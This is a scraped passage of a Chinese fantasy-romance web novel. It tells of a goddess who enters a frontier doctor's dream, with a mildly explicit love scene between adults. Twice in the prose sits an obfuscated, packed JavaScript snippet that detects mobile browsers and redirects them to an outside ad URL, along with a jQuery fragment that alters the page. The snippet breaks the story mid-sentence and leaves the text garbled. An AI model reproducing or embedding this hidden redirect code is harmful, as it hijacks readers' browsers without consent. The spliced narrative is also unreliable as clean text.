腊月的军营里,寒风刺骨,士兵们最喜欢煮上一锅热气腾腾的肉汤。汤面上浮着一层厚厚的油花,虽然看上去有些油腻,但喝下去却能让人从内到外暖和起来,驱散寒意。宁安桥说我不能吃腌腊的食物,便特意嘱咐伙房准备了几道清淡的菜肴。于是,我们两个人围坐在营帐里的暖炉旁,桌上摆着三四道菜,虽然简单,却透着几分温馨。 暖炉的火光映在帐内,驱散了冬日的严寒,也让人暂时忘却了战争的残酷。我们一边吃着,一边低声交谈,偶尔还能听到外面传来士兵们喝汤时的喧闹声。这样的时刻,虽短暂,却让人感到难得的安宁。 见我怀着身孕,宁安桥主动将床榻让给了我,自己则坐在一旁,目光紧紧盯着我,直到我将那碗补身子的药一饮而尽。药汤苦涩,我却不敢皱眉,生怕他再多说什么。喝完药,我便慢慢挪进被窝,动作因身子沉重而显得迟缓。他见我如此,伸手替我整理被子,动作细致而轻柔。我盯着他的动作,心中有些话忍不住想问他,却一时不知如何开口,只得默默看着他。 可眼神还是出卖了我。 “有话就问。” 既然你诚心诚意地发问了,那我就大发慈悲地问你啦。我拍了拍床沿示意他坐,他也不同从前的高冷,很自然地在我身边坐下。 “宁医师什么时候来的军营?” “六年前。从医鹿山离开后,便来了此处。” “六年?!”我瞪大了眼睛,“那你岂不是……没成亲,也没家室?” 他抬眼瞥了我一下,语气淡淡:“你问这做什么?” “这不闲聊嘛,没话找话说。” “你呢?刚成亲就被发配往边疆,是得罪了哪位大人吗?” “先声明,我可没惹谁,是他自己找茬的。” 宁安桥没接话,帐内安静得只剩下炭火噼啪的声音。那么近的距离,我只需抬眸便能撞进宁安桥的眸子里。他的鬓边有几缕碎发垂下来,衬得他的轮廓更加分明。。 “比起这个……” 我蓦地靠近他,近到他的眼里只容得下一个我。他下意识往后仰了仰,眉头微皱。 “从之前我就一直很好奇,宁医师偶尔,不对,是经常盯着我看吧?为什么?是觉得我像谁?还是……”我撩起他的下巴,故意拖长了语调,“喜欢我?” 宁安桥轻轻地拨开我的手,横了我一眼。 “自作多情。” 一定不是自作多情,他的表情出卖了他。我得意着屈起膝盖,侧脸靠上膝盖歪着头看他。 “就算是自作多情,也改不了你就是喜欢盯着我看的事实!” “是又如何。” “啊?”有一瞬间我以为自己听错了。 “我就是喜欢盯着你,又如何。”他重复了一遍,声音低沉,却字字清晰。 哪有人这么直接大胆地承认的。 “没、没什么……我就问问。” 我迅速别开脸,心狂跳。一定是靠近暖炉的缘故,脸才突然烧起来。 “问完了?” “问完了……” 确认完后,宁安桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哇哦,你是怎么从我刚才的话总结出这个结论的……对,不是。楚风之前,我还得到过齐风这个名字。” 似乎意识到什么惊天大事,我一下愣住。 “不会吧……” “什么?” “你该不会……” 是要我找的九个男人之一吧。 我盯着宁安桥的脸,脑子里乱成一团。单凭这张脸,确实有可能是我失忆前认识的人,可他的性格……和初见时简直判若两人。如果是现在的他,或许还真有可能。 还记得第一次见面时,他说的第一句话是:“楚风?我还以为叫抽风。”当时我只觉得这人嘴欠,现在想来,他分明知道我的名字不叫楚风,才会用这种话来揶揄我。 六年前,宁安桥学成离开医鹿山。六年前,我一定在哪儿见过他。他认识柳砚清,自然也认识我。而且,不出意外的话,一定是在医鹿山。 “你一定认识我,对不对?”我猛地坐直身子,眼睛直勾勾地盯着他,“我叫什么名字?” 他愣了一下,眉头微皱:“……?” “这种时候别装傻啊!”我急了,伸手抓住他的袖子,“告诉我吧。你,是不是我要找的人?” “不是。” “为什么……如此肯定。” “因为我知道的,并不是你的真名。” “你如何知道你知道的名字不是我的真名?” “是你自己告诉我的。” “我自己告诉你的?”我愣住了,脑子里一片空白,“什么时候?在哪里?” 他没有回答,只是轻轻拨开我抓着他袖子的手,站起身,背对着我整理了一下衣袍。 “睡吧。” 我还想再问,可他已经走到帐门口,掀开帘子走了出去。帐内只剩下我一个人,炭火的光芒在黑暗中跳动,映得我的影子忽明忽暗。 “是我自己告诉他的……”我喃喃自语,“我什么时候告诉他的?” 53. 云卷云舒 蓬莱第几宫。 被关禁闭后,日子过得同行尸走肉没什么区别。我百无聊赖地趴在窗边,望着外头的云卷云舒,心里却像被猫抓似的难受。 大哥和三哥最近都不晓得忙些什么,好几日没见到人影从我窗外路过。大姐正愁着应付爹爹安排的与各路神仙的相亲。整个蓬莱第几宫只有我一个人,还不许我出门! 我不活了! 二姐的寝殿与我的相隔不远,见她正好出门,我立马叫住她。 “二姐!救我!” 我一个闪动到她身边,挽上她的手臂,可怜巴巴地自下而上望着她。 “我怎么救你?爹爹关你禁闭是你活该,好好回房待着吧。” 不愧是神界唯一一座冰山,对亲妹妹都如此冷漠。 “你不救我,我就只有死路一条了!” “关禁闭而已。又不是罚你去做苦力或者投到猪身上体验几天人间疾苦,哪里要死了。” 好耳熟的惩罚? “摸不到男人,我这双手它……它要废了……” 我猛地抬起双手,惊恐地瞪大眼睛盯着它们。 “……我看你已经废了。”二姐叹了口气,毫不留情甩开我的手,朝门口走去,“别找我,我这几天正烦着呢。” 我小跑着跟上她,神不知鬼不觉地,不就可以出门了嘛。 “和枕书君的婚事吗?” “你还提!” 二姐突然停住脚,在即将跨出门槛之前。她知道,爹爹设下的禁足令是不许我跨出门槛。 “对不起二姐!”我讪讪笑着赶紧道歉,又忍不住好奇,“枕书君那么英俊、四大仙男,你到底是哪里不满意啊?” 枕书君是仙界公认的美男子,身姿挺拔,面容如玉,气质清冷如月。这不,刚到适婚年龄,仙界各家的仙子们便纷纷动了心思,托人打听枕书君的喜好,甚至有些胆大的直接上门提亲。可惜,枕书君对这些热情似火的追求者始终保持着距离,礼貌却疏离。有人说,他是心系修炼,不愿被儿女情长所扰;也有人说,他早已心有所属,只是那人还未察觉。 “我看不惯他对我唯唯诺诺的样子,一点不像个男人。” 二姐抱臂站在原地,就是不肯跨出一步。 “嗯——有没有可能,整个仙界的男人都怕你?” “我很凶吗?” “不,一点也不。” “我很可怕吗?!” “不不不,一点都不可怕。” “二姐不可怕,何来慑魂天女的称号。” 这句话是突然从身后传来的,我和二姐一同望去。 “西雨?” 他不是该在天工府替爹爹办事吗,怎么在家。 “慑魂天女?那是什么?谁给取的?” “咳,我不能说。” “……” 我狡黠地戳了戳他,“不会是三哥取的吧?” “我敢吗。”西雨清秀的脸上露出无奈。 “谅你也不敢。” 打趣完毕,我又想起他今日不该在家,问道:“爹爹交代你的事做完了?” “告一段落,只要是来通知二姐,爹爹正生气呢,要你立刻滚到他面前。” 滚字说得格外用力清晰。 “……”二姐沉默了片刻,随即声音陡然提高,“那怎么你不早说!” 然后一个箭步跑没影了。 我还是没能浑水摸鱼溜出去。 计划失败。 “三哥是故意拖延时间通知二姐的吗?” “嗯。” “……坏西雨。” “怎么不继续唱了?你自创的坏西雨歌。” “今天没心情。” “因为关禁闭的事吗?还是……因为男人?” “两者都有才最烦人啊。”我哀嚎一声,双手捂住脸,“被关禁闭摸不到男人,书也被爹爹没收了,我不活了……” 大哥从人间带回的数百本禁书被爹爹全部没收就丢火山坑全焚烧了。 “仙界就没有你喜欢的吗?” “大家都是神仙,抬头不见低头见,我不想几千年几万年都被人说闲话。” “那就找知晓的人。” “除了你们,没人知道我此事。” “岂不正好。” “嗯?什么正好?” 我抬起头,一脸茫然地看着他,心里隐隐觉得他话里有话。 后知后觉,我大惊失色,颤抖着后退。 “不是吧……” “试试吗?” 西雨步步逼近,脚步轻缓却坚定,直到我的背抵上墙壁,退无可退。我呆呆地望着面前的男人,脸颊瞬间烧起来,呼吸几乎停滞。他的气息从上呼下萦绕在鼻尖,温热而清冽,指尖轻轻撩起我的发丝。 “不躲吗?” 说着,他锁住我的双手,抬过我的头顶,抵在身后的墙壁上。 喂喂喂南风啊……这是哥哥啊!你在想什么呢! 意识到眼前的人是谁后,我稍稍恢复点理智。 “你……”我恼羞成怒,轻轻推开他,越过他朝寝殿走,“不许同我开玩笑!” “抱歉。” 二姐果然被骂,回来时一脸阴霾。我端着一碟糕点去看望她,一招雪中送炭,兴许她心情一好愿意帮我呢。 咱家后院有我种下的一片竹林,自园林打造出来后,四个人总爱往这儿跑。等我找到二姐时,她正盘腿坐在水池边,倚靠着榕树,望着水里莲花发呆。 “二姐~可爱的小妹来安慰你啦。” “南风啊……”她没精打采地拍了拍身旁的空位,“爹爹不爱我了……” “如果爹爹不爱你,我岂不是更可怜。至少,爹爹不会踹你屁股吧。” “那倒也是。”她似乎缓了口气儿,“爹爹会揍的也就你了。” “……嗯。” 突然有点心疼我自己。 自我某次私自下凡把自己弄得一身伤回蓬莱后,爹爹总爱踹我,一生气就踹我,完全不给我求饶的机会。 “说吧,找二姐又有什么鬼主意?帮你出门是不可能的,我刚被骂,不想再看到恶魔了。” “那就做梦。二姐不是的法力不是控制梦的吗,你就给我送去谁的梦里,我过把瘾就回来。” “……做梦。”二姐翻了个白眼。 “对!”我点头如捣蒜。 “我说你做梦!”二姐气得直戳我脑门,“还入梦呢,谁的梦允许你做那等事?” “凡人不是会做一种……春梦!”我理直气壮地挺起胸膛。 “……” 二姐一脸无语,嘴角抽了抽,手掌也颤抖着像是想抽我。 “二姐~求你了,就一次。” 我拽着 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入梦也,眼前是一片迷离的幻境,光影交错,似是被风吹散的烟云,时而聚拢,时而散开,让人分不清方向。我伸手去抓,却什么也碰不到,只能顺着那股若有若无的牵引往前走。 忽然,脚下一沉,像是踩进了什么厚重的泥沼,再一睁眼,满目黄沙,无边无际。 北疆?边塞? 风卷着沙粒扑打在脸上,又干又疼,我眯起眼,抬手挡在额前,心里直嘀咕:这梦也太荒凉了吧?什么医师在荒漠游荡的?二姐是不是故意整我? 我一步深一步浅地往前行去,鞋履陷入沙中,步履艰难。远处沙丘连绵,宛若伏卧的巨兽,静默无声,令人心生惶然。烈日当空,炙烤大地,热浪蒸腾,远处景物如水中倒影,摇曳不定。沙地热气升腾,眼前景象恍惚,似天地皆在燃烧。汗珠方落即干,只余一层薄盐,黏附肌肤,刺痒难耐。 走了不知多久,远处终于出现了一个人影。 我眯起眼,加快脚步走近。那是个男人,跪坐在沙地上,身形魁梧,肩宽背厚,一身破旧的衣袍被风撕扯得猎猎作响。他低着头,手里攥着一把沾血的匕首,刀刃上的血迹已经干涸发黑。沙地上零星散着几片破碎的甲胄,血迹斑斑,像是刚结束了一场恶战。 我清了清嗓子,故意放轻脚步走到他面前。他猛地抬头,眼神冷得像冰,直直刺向我。 这里是梦吧……意思是这个人现在,是在做噩梦?闯入别人的噩梦怎么继续接下来的事!二姐!重来!这个下不去手啊! “你好?” “……” 他全身紧绷,警惕地看着我。 我笑了笑,也不说话,抬手拂袖一挥。顿时,荒漠像是被什么力量撕开了一道口子,绿意从地底涌出,转眼间黄沙变作绿洲。清泉从石缝中涌出,潺潺流淌,草木葱茏,花香扑鼻,连空气都变得湿润起来。 “既然是噩梦,那就先替你转噩为安吧。” 他愣住了,手里的匕首“咣当”一声掉在地上,眼神里的冰冷渐渐化开,取而代之的是一抹难以置信的震惊。他缓缓站起身,高大的身影在绿洲的映衬下显得格外挺拔。他低头看了看自己的手,又抬头看向我,喉结动了动,像是想说些什么,却最终没有开口。 我挑了挑眉,得意地勾了勾嘴角:“怎么样,这梦还不错吧?” 54. 梦里佳期 对凡人而言,梦境是不可控的,仅存在于睡梦中的一场幻觉。尽管存在意识,但不该完完全全意识清醒才对。 进入梦境前二姐告诉我的。要想不被做梦的人记住,办事的时间最好选在梦境的中间时段,那个时候凡人正处于昏睡阶段,不像刚入睡和即将清醒过来时拥有一点点自我意识。 如果遇到整场梦境都很清醒的人怎么办?二姐说,那就直接跑人,或者被他记住。 但因为是神仙嘛,只要别暴露身份就行。 这话我记着呢,所以我一向是只办事,不留名。 “你怎么知道这是我的梦?” 面前的男人冷不丁问了一句。 我愣了一下,“因为……你不认识我,我也不认识你。” “这算是解释吗?” “当然不算。准确来讲,我是故意闯进你的梦里,然后找到你。” “为什么?” “为了……为了……”我四下张望寻找借口,“为了完成你的心愿。” 硬着头皮说完,自己都觉得这话有点扯。对方也摆出一副不止我所云的表情。 这人的警戒心会不会太高了。 “我的话很难理解吗?” “是的。还请姑娘好生解释,说清楚。” 我不置可否地耸了耸肩膀。 “总而言之,我是天上来的神仙,入你的梦,听取你的愿望,酌情替你实现。” 他毫不犹豫地提出反问。 “并不是一定会满足我的愿望,对吗?” “当然。神仙也是有原则的。你若是许愿一座城池黄金万两,我自然不会答应。” 他沉默了一会儿,低声问:“那……救回一条人命呢?” 起死回生吗?我重新打量了一下眼前这个男人:身材魁梧高大,皮肤偏黑,显然是常年风吹日晒的结果。他的眼睛和嘴角微微下沉,神情冷峻,时时刻刻都警惕着周围的一切。生人勿进,毫无温度。 如此冷血动物居然想救人一命?莫非是爱人? “你想救人?” “是。” “死了?” “是。” 我皱起眉头。 “怎么死的?” “昨夜,被人暗杀致死。” 我下意识环顾四周,除了荒漠啥也没有,连血迹都没见着。 “在这荒漠?” “不是。”他望向东南方,“在东京,贺府。昨日雨夜,有人闯进贺府,杀了我的恩人。” “开封府?那你怎么知道他死了?人间的消息传送已经达到这般速度了吗?” 要知道边塞到开封一千多里地,区区凡人不可能一天内得到消息。他见我一脸不信,不出所料地冷笑出声来了。 “我也是通过梦看见的,就在昨夜。” “嗐,梦啊,我还以为——梦都是相反的,信不得。” 他嘴角一扯,露出一丝冷笑:“那你也是假的?” 我顿时语塞,怎么把自己给绕进去了? “……我是真的。” “刚才不是还说——” 我立马打断他,双手叉腰,摆出一副凶巴巴的样子:“喂!不许质疑神!” 真是个嘴巴会说的凡人。总而言之,再怎么也不能失了神仙的仪态,我清了清嗓子,挺直腰杆胸膛,轻拂羽带。 “凡人的命数是固定的,不可更改。抱歉,我没法帮你,换一个愿望吧。” 听到我这么说,他依旧游刃有余。 “与其问我的愿望,倒不如我请问这位神,能替我完成什么样的心愿更直接吧?” “嚯哟,还挺会说。”我并不惊讶,“不愧是那个人教出来的徒弟,连说话方式都一模一样。” 他眼神微微一凝,“你认识师尊?” “你那师尊小我两千多岁,在我面前,他还是个娃娃呢。” 听完我无心的揶揄,他双手交叉在胸前沉吟着。 “别不信啊。”我就知道他会质疑,挥了挥手,“算了,给你看样东西或许更直接。” 我一挥羽带,羽带在空中划出一道柔和的弧线,闪烁着淡淡的光芒。随着我的动作,眼前的场景开始缓缓变化,繁华的街市迅速吞没了无边的黄沙。 宽阔的河流横亘城中,水波微漾,船只如织。货船满载谷物、布匹,缓缓驶过;客船上的旅人倚栏远眺,神色悠闲。两岸街道热闹非凡,商铺鳞次栉比,招牌高悬,幌子在风中轻摇。行人摩肩接踵,挑夫扛着沉甸甸的担子,脚步匆匆;小贩扯着嗓子吆喝,声音淹没在喧嚣中。桥头挤满了人,孩童追逐嬉闹,马车缓缓穿行,马蹄声与车轮声交织成一片。远处的城楼巍然矗立,近处的柳枝低垂,随风轻拂。河边的茶馆里,三三两两的客人围坐,或低声交谈,或凝神听书。船夫撑篙的身影倒映在水面上,与河中的倒影融为一体。 “这是哪里?”他问。 “开封府啊?喏,你们贺将军的家。” 我指向街对面那户富贵人家的大门,朱漆金钉,气派非凡。 “我不曾去过开封府。” “……不是吧。” 我瞪大眼睛,难以置信地打量着他。昨夜梦见了暗杀场景一下得出地点在开封贺府,说得一本正经,结果连开封府都没去过? “我自离开医鹿山后便奔赴边疆,从未离开。” 我张了张嘴,本想再问几句,但看他那副冷硬的表情,顿时觉得争辩也是白费力气。这人一看就是个倔脾气,争不过还给自己添堵,何必呢? “都不重要。你不是梦到贺府昨夜有人夜袭杀了你的恩人吗,我这不带你来看看。这里就是此时此刻的开封,旁人看不到我们,你只管放心大胆走进去一探究竟。” 我领着他往贺府走。 他愣在原地,不是犹豫要不要进去,而是一副完全不信任我的表情。 “你这人疑心这么重干嘛!只是梦,你信我一回嘛。” “我从不信初次见面不报上名字的人。” 我狠狠瞪着他,被他这副油盐不进的样子气得直咬牙。 “你这样会注孤生的。” 他依旧面无表情,无所畏惧。 “不要紧,边疆尽是男人和杀戮,不知何时就死了,孤独一生也无妨。” 我被他这话噎得一时语塞 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他一下子僵在原地,低头看了看自己的手,又抬头看我,眼神里全是懵。我差点没笑出声,这场景实在有点滑稽。他张了张嘴,似乎想问点什么,可最后还是没吭声,继续冷脸跟了上来。 他没忘记现在是在梦里吧? 走进贺府,他走在前头,领着我熟练地穿梭在回廊与庭院之间。我不禁怀疑这人真的是第一次来吗? “你要找的恩人是谁?” “贺府的三少爷。也是定边军三将军。” “三?还有老大和老二?叫什么名字?生得俊不俊?” 他回头瞥了我一眼,满脸写着“你这人怎么这么八卦”。 “仙子是什么风流之神吗?” 我翻了个白眼,就问问名字和长相就叫风流了吗? “我就问问。” 又走了许久,脚底开始发酸,小腿也有些胀痛。贺府大得离谱,回廊连着回廊,庭院套着庭院,走半天都看不到尽头。我忍不住停下脚步,揉了揉发酸的脚踝,抬头看向前面那个依旧大步流星的男人,心里满是疑惑。 “刚才起我就想问,你又没来过这儿,怎么找得到路?” “我找不到,只是在凭直觉走。” “……”我哑口无言,“为什么不早说!我可是跟着你走了半个时辰啊!你直接问我不就好了!” 面对我的愤怒,他毫无波澜,语气淡淡的,好像这事儿根本不值得他多费口舌。 “仙子没提,我也只好沉默。” “我!” 无言以对,我摆摆手,懒得再跟他计较。 “叫什么名字,我替你找。” “仙子不会问到名字见到本人后就沉迷于男色做坏事吧?” 我翻了个白眼,双手叉腰:“你把我当什么了。说吧,帮人帮到底。我也是倒了八辈子霉入了你的梦。” 他低头看了我一眼,沉默片刻后,终于开口:“贺祈源。” “什么?”一时气头上,没太听清他说的话。 “贺府三少爷,贺祈源。” 55. 初试云雨 “贺祈源是吧,跟我来。” 我挥了挥羽带,示意他跟上。他冷着脸,一言不发地跟在我身后。 穿过贺府的回廊,绕过几处庭院,终于在一间书房前停下。透过半开的窗户,我看到一个年轻男子正伏案写着什么,笔尖在纸上轻盈滑动,偶尔停下与身边的侍卫谈笑几句,神情轻松自在,仿佛世间纷扰与他无关。 “喏,是那个活蹦乱跳的人吧。” “是。” 我双手抱着胳膊歪头,故作好奇地问:“什么将军,不好好守在边疆,跑回开封作甚?” “皇上召见。” “莫非是赐婚?!” “皇上只有一位尚未出嫁的公主,不会赐婚的。东凉势力扩大,恐怕公主的命途只有一条路。” “和亲?” “嗯。” 我忽然有些感慨,即便是高高在上的公主,也无法选择自己的夫婿。命运对她来说,不过是一场无法抗拒的安排。 “如果不和亲的话,公主不出意外会嫁给这位贺家三少爷吧。”我摸着下巴,若有所思地说道,“英气少年,阳光开朗……” 他冷不丁打断我,“仙子答应我不会动坏心思的。” “我还什么都没说呢。” “看得出来。”他冷冷地回了一句。 “大夫的基本技能吗?望闻问切?是这么说的吧?”我故意调侃他。 “是,所以仙子想什么,我一眼便能识破,还请自重。” “没礼貌……再强调一遍,我不是你想的那种人。” “是吗。”他淡淡地应了一声,“那待会儿仙子再想和我做什么,可就不能了。” “……”我被他噎得一时语塞,气得笑出声,“哼,看着你都来气,除了想踹你想不出其他想对你做的事。” “神仙也会打人吗?” “信不信我现在就揍你。” 我望着屋内的少年,心里涌起一种复杂的感觉,像是有什么东西堵在胸口,却又说不清是什么。 “贺祈源……怎么写的?”我忽然问道。 宁安桥伸手抓住我的手腕。他的手掌粗糙温热,指尖有一层薄茧,轻轻划过我的掌心时,带来一阵细微的触感。 他低下头,神情专注,一笔一画在我的掌心写下三个字。他的动作很慢,每一笔都写得很认真,指尖的温度透过皮肤传来,让我不由自主地屏住了呼吸。 写完后,他没有立刻松开我的手,而是微微抬眸,目光与我对视了一瞬。那一瞬间,我似乎从他的眼神里看到了一点情绪,但很快又被他冷硬的外表掩盖。掌心还残留着他指尖的温度,心里却更加复杂了。 “宁安桥。”我抿了抿唇,“你跟我讲讲昨夜你的梦里,发生了什么?” 我们坐在贺府的长廊上,肩并着肩,静静望着屋内那个伏案写字的少年。宁安桥的声音低沉而平静,缓缓讲述着昨夜那个离奇却又真实的梦。 “成婚?”我皱了皱眉,“可贺府看上去,不像是要办喜事的样子。” 宁安桥也发现了端倪,冷声道:“会不会是以后?” “就不怀疑梦是假的?”我反问。 “太过真实,我不敢断然。”他语气平静,“不是说人偶尔会预见一些即将发生的事吗?昨夜的梦,或许在不久的将来……” 我望向书房内伏案写信的贺祈源,心里隐隐有些不安。 “将来啊……”我低声喃喃。 宁安桥看向我,没了之前的鄙夷,多了几分柔和。 “仙子,我们回去吧。” “嗯。” 贺祈源……名字倒是不错,不过上看去年纪尚小,怕是连春梦都没做过。 重返边疆我幻化出的绿洲,宁安桥的态度似乎变了些,说话也客气了许多。晓得跟我拱手行礼了,不枉我如此慈眉善目的待他。 寻了一处阴凉处的大石坐下歇息。宁安桥站在一边忽然向我颔首致谢。 “多谢仙子满足我的愿望。” 我挥了挥手,“就当我行善积德吧,告辞。” 正要起身,想从宁安桥的旁边穿过去。突然,右手腕被人攥住,我反射性地退回原处。 “要走了吗?” “怎的?突然舍不得?” “不。” “……说句是要死啊。” 真的是受不了了。在同他对峙下去,我漫长的寿命都要受到创伤。 “只是此行的目的还没达成,真就这么离开吗?”他忽然说道。 “哦?”我挑了挑眉,饶有兴趣地看着他,“你好像真的知道我是来做什么的?” “当然。” “说说看?”我双手抱胸,等着他的回答。 “想与我试试云雨之情。” 我轻轻一笑,目光与他对视,“倘若我说不是呢?” “那便不是。” “……你这人真的很没有情趣啊。”我抬着下巴,手指轻点他肩膀,“冷漠的男人是不受姑娘喜欢的。” 说罢,落在他肩膀的手开始自觉地替他宽衣解带,卸下伪装。 “那仙子这是在做什么?” “教你做人。” 他忽然伸手扣住我的后脑,指尖穿过我的发丝,力道不轻不重,却让我无法后退。我还没来得及反应,他的唇已经压了下来,随之而来的舌尖炽热而急切,像是压抑已久的情绪终于找到了出口。 他的吻带着侵略性,却又夹杂着不易察觉的温柔,唇齿间的气息交织在一起,让我几乎喘不过气来。我下意识地抓住他的衣襟,指尖微微发颤,心跳快得像是要跳出胸腔。 “你别……老是……” 我使劲拍打他的臂膀,此人就跟反应迟钝似的,隔了好久才晓得稍稍离开些给彼此喘息的空隙。 “仙子不是会法术吗……有些热……” “热?难不成,你想淋雨的时候?” 好像也不错。 轻挥羽带,指尖流光溢彩,绿洲上空骤然云聚,细雨如丝,悄然洒落。沙粒微润,草木轻颤,雨滴坠入清泉,涟漪荡开,天地间一片朦胧。 夏夜低沉的云雾里,闷不吭声的浮萍摇曳着。炙手可热的被揉碎,揉灭了幻影却揉不灭心意。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185306|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >是沙漠旅人发现绿洲的渴望,迫不及待跳进冰凉的湖水深处,吮吸甘霖,沐浴雨林。 把全身浇透的是汗水还是雨水?已经分不清了。 回荡在耳边的声音是呼吸还是飞鸟掠过的啼鸣?已经分不清了。 颤抖的双手抓住的人是真实的还是虚幻的,已经分不清了。 忽而雷声隐隐,吞没了低沉的哭泣。寂寞的心终于得到慰藉,醉倒在温柔乡。 他的另一只手揽住我的腰,将我拉得更近,几乎贴在他的胸膛上。我能感觉到他急促的心跳,和我的交织在一起,分不清是谁的更快。 “仙子不如就此留在我的梦中吧……” “说笑呢?” “没……我只是不忍心看仙子被世俗抛弃。” “呵,多管闲事。” 他的吻渐渐加深,舌尖轻轻撬开我的唇齿,探索着每一寸柔软。我闭上眼睛,攀上他的脖颈,任由自己沉溺在这个笨拙杂乱的吻里。 直到我几乎缺氧,他才稍稍退开,额头抵着我的,呼吸有些紊乱,声音低哑:“仙子的名号莫不是淫仙?” 顶上的阴影笼罩,阻挡了上方烈日刺眼的光。我鼓起两腮,使气掐了一下他的后背:“真是失礼……我不过是贪图美貌、沉迷云雨,恨不得把天下美男都占为己有罢了。” 冰冷的脸上微微扬了下眉,“我在仙子眼里算是美男?” 我故意上上下下仔仔细细打量他一番,特别在特别的地方稍作停留,意味深长地轻挑眉,撇了撇嘴:“确实不算。皮肤黝黑、身长八尺、阔面重颜,话说还难听。跟我的美男标准一点不沾边。” 说完,我一下笑出声来:“不过,解我一时饥渴,足够了。” 闻言,他笑了一下。没有温度的脸第一次看到如此明朗的笑。 “仙子原来是这么看我的。也意味着这场梦,仅此一次?仙子已经不会再入我的梦,对吗?” 我突然意识到什么,坏笑着凑近他,指尖细细描摹他的眉眼:“承认了?你舍不得我?喜欢上我了?” 他侧过脸,轻轻亲吻我的掌心,唇瓣擦过掌心时,像是轻轻咬了一下,声音沙哑:“嗯。” “……” 似是情到深处从喉咙低处发出的一声挑拨心弦,我的脸一下涨红,心跳莫名加快,“这种时候别承认啊……怪不好意思的。” 我的话语淹没在温暖而用力的拥抱中。他轻扬唇角,俯下身又朝我贴近了些,抵住我的额头在我耳边低语。 “所以,还请仙子以后,不止是梦,也可到凡间来与我相会。” 我笑着抚摸他微微泛红的脸颊,拭去他额头的汗珠。 “看我心情。” 绵绵细雨还在下,一点一滴淅淅沥沥落在琴弦上,忽而大弦嘈嘈如急雨,时而小弦切切如私语,不急不慢,循序渐进。仿佛时间很长,不急一曲快感,慢慢品味。 一切回归最原始天然的寂静之中,忘记此时是场梦,漫长的梦,不愿醒来的梦。小雨与藤蔓正纠缠婆娑,爱欲与向往在遥相呼应,我仿佛穿行在极乐之地的旅人,吟唱突破天际的欢愉邂逅。 56. 是如初见 好像丢了魂似的。 全身被雨水浇打湿透,羽衣同凡人的粗布揉在一起皱成一团,失了光泽。 先停雨吧。抬手一挥,拨云见日,一切恢复如初,然后起身整理衣服。 “嘶——” 剧烈的酸疼打断我正在系腰带的手,不得不停下来揉揉。忽然,身后越过一只粗壮的手臂夺去我手心的腰带,越到我身前,双臂圈主我的腰替我穿戴。 “真的是在帮我穿衣裳吗?不是在趁机偷摸我?” “也有这层意思。” 倒是供认不讳。 到底是医师,手脚就是麻利。替我穿好后,他自然地将自己的衣裳递给我。我不解地结果衣裳,不明所以地看向他。 “礼尚往来。” 说着,他已经抬起双臂等我替他更衣。 又是一阵莫名的火气涌上来。 “叫神仙给你穿衣服?好大的能耐。” “我替仙子解决了一时之需,这是我要的最后一份报酬。” “……” 穿就穿。 “抬手。” “先穿裤子。” “……” 行,先穿裤子。 我气呼呼地使劲儿甩了甩他的粗麻布,抻开腰封别开脸递过去。好在他没得寸进尺,没提更过分的要求。穿上裤腿后,该是裤带了。 因为是闭着眼睛,帮他系裤带时,手不小心碰到他的大腿处,吓了一跳,赶紧缩回手。脸一下子红了,立马把衣裳丢还给他。 “自己穿!” 没有雨水浇灌的绿洲又是一番别致。我坐在岩石上晃荡着两条腿,掌中变出一支玉笛,吹了首曲子送给宁安桥。这还是普通的笛子,大哥最近闭关打造新的神器,是给我打造的,他说我喜欢笛,便说给我造一支。 一曲终了,也到了宁安桥该梦醒的时候了。 “我要回去了。”我收起笛子,跳下岩石。 他忽然叫住我,用我临时起意非常陌生的名字。 “仙子从哪里来?天宫还是蓬莱?” “不管从哪儿来,皆是你此生无法抵达的地方。” 他垂眸,沉默了片刻,低声喃喃:“燕风……燕风仙子吗?” 我轻笑着,见他可怜,之前的怨气在这一刻烟消云散。 “看在你诚恳的份上,告诉你一件事吧。燕风,并不是我的名字。” “那是?” “那是——”我眨了眨眼,措不及防在他侧颈烙下红印,“不告诉你。” 那场梦后又是多少年。宁安桥再也没梦到过不知姓名的仙子。 他记住了关于她的一切,包括她的面容。 重逢时,他当真以为是仙子降临凡间来寻他。 胆小自卑的凡人,哪里和她像了。 偏偏玉笛出现了。 宁安桥几次三番想确认她是她。望眼欲穿,魂牵梦萦。 “所以,还请仙子以后,不止是梦,也可到凡间来与我相会。” 虽然是相似的脸,不同的性子,但是……至少这次不是梦,她不是羽带一挥便消失的神仙。一介凡人,岂不甚好。 梦醒,我睁开眼满足地伸了个懒腰。 二姐已经不见踪迹,池边树下只剩我一个人。还有困意,我便打着哈欠回房歇息。 刚出后院的门,就见西雨站在院内张望。对上视线后,西雨毅然决然地迈出脚步。我看出了他是来寻我,于是停在原地等他过来。只有几步的距离西雨没有止步,一直到即将贴近我的时候,他才总算停下。 骤然拉近的距离防不胜防,我想退后,才发现身后被一根立柱阻挡。 还有,这种时候躲闪很奇怪吧,就像是怀疑西雨会做什么似的。 “去哪儿了?” 略微沙哑的声音,忍不住叫人浮想联翩。 我还是退后些吧。 “没去哪儿,靠在树下睡觉呢。三哥寻我有事?” 我一边说,一边往侧后方退了一步。但是,西雨也跟着我的动作向前踏出一步。 “没,多时不见你身影,来看看。” 身体还处在意犹未尽的状态,能不能不要靠我这么近啊! 我抬起一边手臂挡在身前,挡在我和他之间。 “多谢三哥关心。” 这个人从来不知道什么叫保持礼貌距离。 是从什么时候开始的?隐约记得是我仙骨初成时。从那时候起,西雨对我的无论是态度还是什么都变得很奇怪,从前他待我是哥哥对妹妹,现在,似乎哪里不太对…… 希望是我的错觉,风流过头的错觉吧。 看谁都觉得是男人,不对,西雨是雄性,但……但那是哥哥啊! 不防腰突然酸痛起来,我下意识用手撑在腰后。一动脑就会牵扯到全身,所以才不喜欢动脑啊。 